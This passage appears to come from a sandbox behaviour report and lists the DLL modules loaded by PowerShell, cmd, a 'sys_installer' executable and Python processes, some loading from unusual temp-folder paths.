"%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffd26700000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 1e992d30000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffd48670000 "powershell.exe" loaded module "VERSION.DLL" at base 7ffd3f950000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffd25c30000 "powershell.exe" loaded module "USER32.DLL" at base 7ffd49f10000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffd49100000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffd30770000 "powershell.exe" loaded module "NTDLL" at base 7ffd4c2e0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffd498c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffd1b3e0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ffd4bf70000 "powershell.exe" loaded module "OLE32.DLL" at base 7ffd4b800000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd498c0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ffd4c180000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffd1a770000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffd19cf0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffd25ac0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffd47ad0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffd49540000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ffd17c80000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffd498c0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffd498c0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffd4c2e0000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ffd4ba10000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffd4a3c0000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffd48930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ffd48930000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffd49370000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffd358a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffd3f950000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffd356c0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffd49370000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\7L4T6M7Y.DLL" at base 7ffd2d250000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffd25a20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffd258b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffd25740000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffd17b40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffd17290000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffd2a1a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffd16920000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffd165b0000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffd49100000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffd16460000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffd29c50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffd16380000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffd29bc0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffd3efe0000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffd48530000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffd47720000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffd46c70000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffd162a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffd4c090000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffd48560000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffd49d40000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffd498c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffd15590000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffd35120000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ffd47c50000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffd48190000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ffd3ba30000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ffd3b9b0000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ffd49df0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffd47ec0000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ffd44e90000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffd2a680000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffd40180000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffd41570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffd47a10000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffd37670000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffd37910000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffd49e60000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffd46a30000 "sys_installer_27525.exe" loaded module "KERNEL32" at base 7ffd4c090000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd4a390000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd32fc0000 "sys_installer_27525.exe" loaded module "ADVAPI32.DLL" at base 35e0000 "sys_installer_27525.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffd26700000 "sys_installer_27525.exe" loaded module "SHLWAPI.DLL" at base 3690000 "sys_installer_27525.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffd48670000 "sys_installer_27525.exe" loaded module "VERSION.DLL" at base 7ffd3f950000 "sys_installer_27525.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffd25c30000 "sys_installer_27525.exe" loaded module "USER32.DLL" at base 7ffd49f10000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "MSCOREE.DLL" at base 7ffd30770000 "sys_installer_27525.exe" loaded module "NTDLL" at base 7ffd4c2e0000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffd498c0000 "sys_installer_27525.exe" loaded module "RPCRT4.DLL" at base 7ffd4bf70000 "sys_installer_27525.exe" loaded module "KERNEL32.DLL" at base 7ffd4c090000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffd1b3e0000 "sys_installer_27525.exe" loaded module "OLE32.DLL" at base 7ffd4b800000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffd46c70000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd498c0000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffd1a770000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ffd25970000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffd196c0000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffd25820000 "sys_installer_27525.exe" loaded module "UXTHEME.DLL" at base 7ffd46c70000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffd18c40000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffd256e0000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffd18390000 "sys_installer_27525.exe" loaded module "NTDLL.DLL" at base 7ffd4c2e0000 "sys_installer_27525.exe" loaded module "SHELL32.DLL" at base 7ffd4a3c0000 "sys_installer_27525.exe" loaded module "BCRYPT.DLL" at base 7ffd48190000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffd47ad0000 "sys_installer_27525.exe" loaded module "IMM32.DLL" at base 7ffd4a390000 "sys_installer_27525.exe" loaded module "COMCTL32.DLL" at base 7ffd32b30000 "sys_installer_27525.exe" loaded module "GDI32.DLL" at base 7ffd49e60000 "sys_installer_27525.exe" loaded module "GDIPLUS.DLL" at base 7ffd27c00000 "sys_installer_27525.exe" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.16299.248_NONE_46B9C4E9EDF1CFA5\GDIPLUS.DLL" at base 7ffd27c00000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "OLEAUT32.DLL" at base 7ffd4c180000 "sys_installer_27525.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-WINDOW-EXT-L1-1-0.DLL" at base 7ffd49f10000 "sys_installer_27525.exe" loaded module "EXT-MS-WIN-RTCORE-NTUSER-INTEGRATION-L1-1-0.DLL" at base 7ffd49f10000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-COM-L1-1-0.DLL" at base 7ffd498c0000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base 7ffd49bd0000 "sys_installer_27525.exe" loaded module "COMCTL32.DLL" at base 7ffd36f50000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.IO.CF61E09C5#\FA3056C0895561A08F7CF15A33EFBBBD\SYSTEM.IO.COMPRESSION.FILESYSTEM.NI.DLL" at base 7ffd35a50000 "sys_installer_27525.exe" loaded module "PSAPI.DLL" at base 7ffd4ba10000 "sys_installer_27525.exe" loaded module "ADVAPI32" at base 35e0000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffd49540000 "sys_installer_27525.exe" loaded module "RASAPI32.DLL" at base 7ffd3ba30000 "sys_installer_27525.exe" loaded module "RASMAN.DLL" at base 7ffd3b9b0000 "sys_installer_27525.exe" loaded module "WS2_32.DLL" at base 7ffd49df0000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffd47ec0000 "sys_installer_27525.exe" loaded module "WINHTTP.DLL" at base 7ffd44e90000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffd2a680000 "sys_installer_27525.exe" loaded module "IPHLPAPI.DLL" at base 7ffd47c50000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffd40180000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffd41570000 "sys_installer_27525.exe" loaded module "COMBASE.DLL" at base 7ffd498c0000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffd498c0000 "sys_installer_27525.exe" loaded module "SECUR32.DLL" at base 7ffd3efe0000 "sys_installer_27525.exe" loaded module "SSPICLI.DLL" at base 7ffd48530000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffd47a10000 "sys_installer_27525.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffd37670000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffd37910000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base 7ffd4b800000 "sys_installer_27525.exe" loaded module "CRYPT32.DLL" at base 7ffd49370000 "sys_installer_27525.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.IO.CB3B124C8#\1E72628C6F64BBEA2F27E20F9F2CF3B4\SYSTEM.IO.COMPRESSION.NI.DLL" at base 7ffd35110000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 7ffd44c90000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 7ffd48990000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\\WINDOWS.STATEREPOSITORYPS.DLL" at base 7ffd33030000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffd4a3c0000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ffd3cad0000 "sys_installer_27525.exe" loaded module "MSISO.DLL" at base 7ffd36210000 "sys_installer_27525.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 7ffd49100000 "sys_installer_27525.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffd46a30000 "python.exe" loaded module "KERNEL32" at base 76a70000 "python.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75da0000 "python.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75da0000 "python.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75da0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77150000 "python.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75da0000 "python.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75da0000 "python.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75da0000 "python.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71ef0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 771e0000 "python.exe" loaded module "%TEMP%\SYSTEMDRIVERS\MACOSX\PYTHON3" at base 3a00000 "python.exe" loaded module "%TEMP%\SYSTEMDRIVERS\MACOSX\_BZ2.PYD" at base 71ed0000 "python.exe" loaded module "%TEMP%\SYSTEMDRIVERS\MACOSX\_LZMA.PYD" at base 71ea0000 "python.exe" loaded module "SHELL32" at base 741f0000 "python.exe" loaded module "KERNEL32.DLL" at base 76a70000 "python.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73990000 "python.exe" loaded module "NTDLL.DLL" at base 774c0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73400000 "python.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWS.STORAGE.DLL" at base 755b0000 "python.exe" loaded module "SHELL32.DLL" at base 741f0000 "python.exe" loaded module "RPCRT4.DLL" at base 75c50000 "python.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL" at base 76a70000 "python.exe" loaded module "USER32.DLL" at base 76f50000 "python.exe" loaded module "%WINDIR%\SYSWOW64\\WINDOWS.STATEREPOSITORYPS.DLL" at base 72570000 "python.exe" loaded module "%WINDIR%\SYSWOW64\WINTYPES.DLL" at base 71dd0000 "python.exe" loaded module "%WINDIR%\SYSWOW64\SHELL32.DLL" at base 741f0000 "python.exe" loaded module "%WINDIR%\SYSWOW64\URLMON.DLL" at base 737a0000 "python.exe" loaded module "MSISO.DLL" at base 72920000 "python.exe" loaded module "SSPICLI.DLL" at base 73ee0000 "python.exe" loaded module "API-MS-WIN-CORE-URL-L1-1-0.DLL" at base 75da0000 "python.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 73e30000 "python.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75f80000 "py.exe" loaded module "KERNEL32" at base 76a70000 "py.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75da0000 "py.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75da0000 "py.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75da0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77150000 "py.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75da0000 "py.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 75da0000 "py.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 75da0000 "py.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 71ef0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 771e0000 "py.exe" loaded module "%TEMP%\DRIVERS\MACOS\PYTHON3" at base 3b40000 "py.exe" loaded module "%TEMP%\DRIVERS\MACOS\_CTYPES.PYD" at base 6e3b0000 "py.exe" loaded module "%TEMP%\DRIVERS\MACOS\_BZ2.PYD" at base 6e380000 "py.exe" loaded module "%TEMP%\DRIVERS\MACOS\_LZMA.PYD" at base 6db60000 "py.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 75f80000 "py.exe" loaded module "WININET.DLL" at base 6d840000 "py.exe" loaded module "NTDLL.DLL" at base 774c0000 "py.exe" loaded module "MSCOREE.DLL" at base 6c7e0000 "py.exe" loaded module "SHELL32.DLL" at base 741f0000 "py.exe" loaded module "AMSI.DLL" at base 6c670000 "py.exe" loaded module "ADVAPI32.DLL" at base 75530000 "py.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\MSCOREEI.DLL" at base 6c5c0000 "py.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 75f80000 "py.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLR.DLL" at base 6be10000 "py.exe" loaded module "USER32.DLL" at base 76f50000 "py.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 75da0000 "py.exe" loaded module "SHLWAPI.DLL" at base 76b40000 "py.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 77240000 "py.exe" loaded module "RPCRT4.DLL" at base 75c50000 "py.exe" loaded module "KERNEL32.DLL" at base 76a70000 "py.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\MSCORLIB\36EACCFDE177C2E7B93B8DBDDE4E012A\MSCORLIB.NI.DLL" at base 69620000 "py.exe" loaded module "OLE32.DLL" at base 74060000 "py.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 77240000 "py.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 72600000 "py.exe" loaded module "OLEAUT32.DLL" at base 76020000 "py.exe" loaded module "WLDP.DLL" at base 72160000 "py.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 73c00000 "py.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\X86\MPOAV.DLL" at base 72140000 "py.exe" loaded module "%WINDIR%\SYSWOW64\7L4T6M7Y.DLL" at base 72100000 "py.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 75da0000 "py.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\CLRJIT.DLL" at base 72070000 "py.exe" loaded module "BCRYPT.DLL" at base 72980000 "py.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM\2C3C912EA8F058F9D04C4650128FEB3F\SYSTEM.NI.DLL" at base 68bc0000 "py.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.XML\15AF16D373CF0528CB74FC73D365FDBF\SYSTEM.XML.NI.DLL" at base 68440000 "py.exe" loaded module "CRYPT32.DLL" at base 768e0000 "py.exe" loaded module "PSAPI.DLL" at base 77490000 "py.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\\WMINET_UTILS.DLL" at base 72040000 "py.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 75da0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 72020000 "py.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 71fa0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 71ec0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 68380000 "py.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 75da0000 "py.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 75da0000 "py.exe" loaded module "SECUR32.DLL" at base 6c790000 "py.exe" loaded module "SSPICLI.DLL" at base 73ee0000 "py.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CORE\31FAE3290FAD30C31C98651462D22724\SYSTEM.CORE.NI.DLL" at base 67b60000 "py.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_32\SYSTEM.CONFIGURATION\96F7EDB07B12303F0EC2595C7F3778C7\SYSTEM.CONFIGURATION.NI.DLL" at base 67a50000 "py.exe" loaded module "WS2_32.DLL" at base 760e0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 72660000 "py.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 71eb0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 67a00000 "py.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6c720000 "py.exe" loaded module "MSKEYPROTECT.DLL" at base 71ea0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 678f0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\CRYPTNET.DLL" at base 67560000 "py.exe" loaded module "CRYPTNET.DLL" at base 67560000 "py.exe" loaded module "WINHTTP.DLL" at base 674a0000 "py.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 67480000 "py.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 77240000 "py.exe" loaded module "COMBASE.DLL" at base 77240000 "py.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 77240000 "py.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 73990000 "py.exe" loaded module "GDIPLUS.DLL" at base 73c20000 "cmd.exe" loaded module "KERNEL32" at base 76a70000 "cmd.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 75da0000 "cmd.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 75da0000 "cmd.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 75da0000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 77150000 "cmd.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 75da0000 "cmd.exe" loaded module 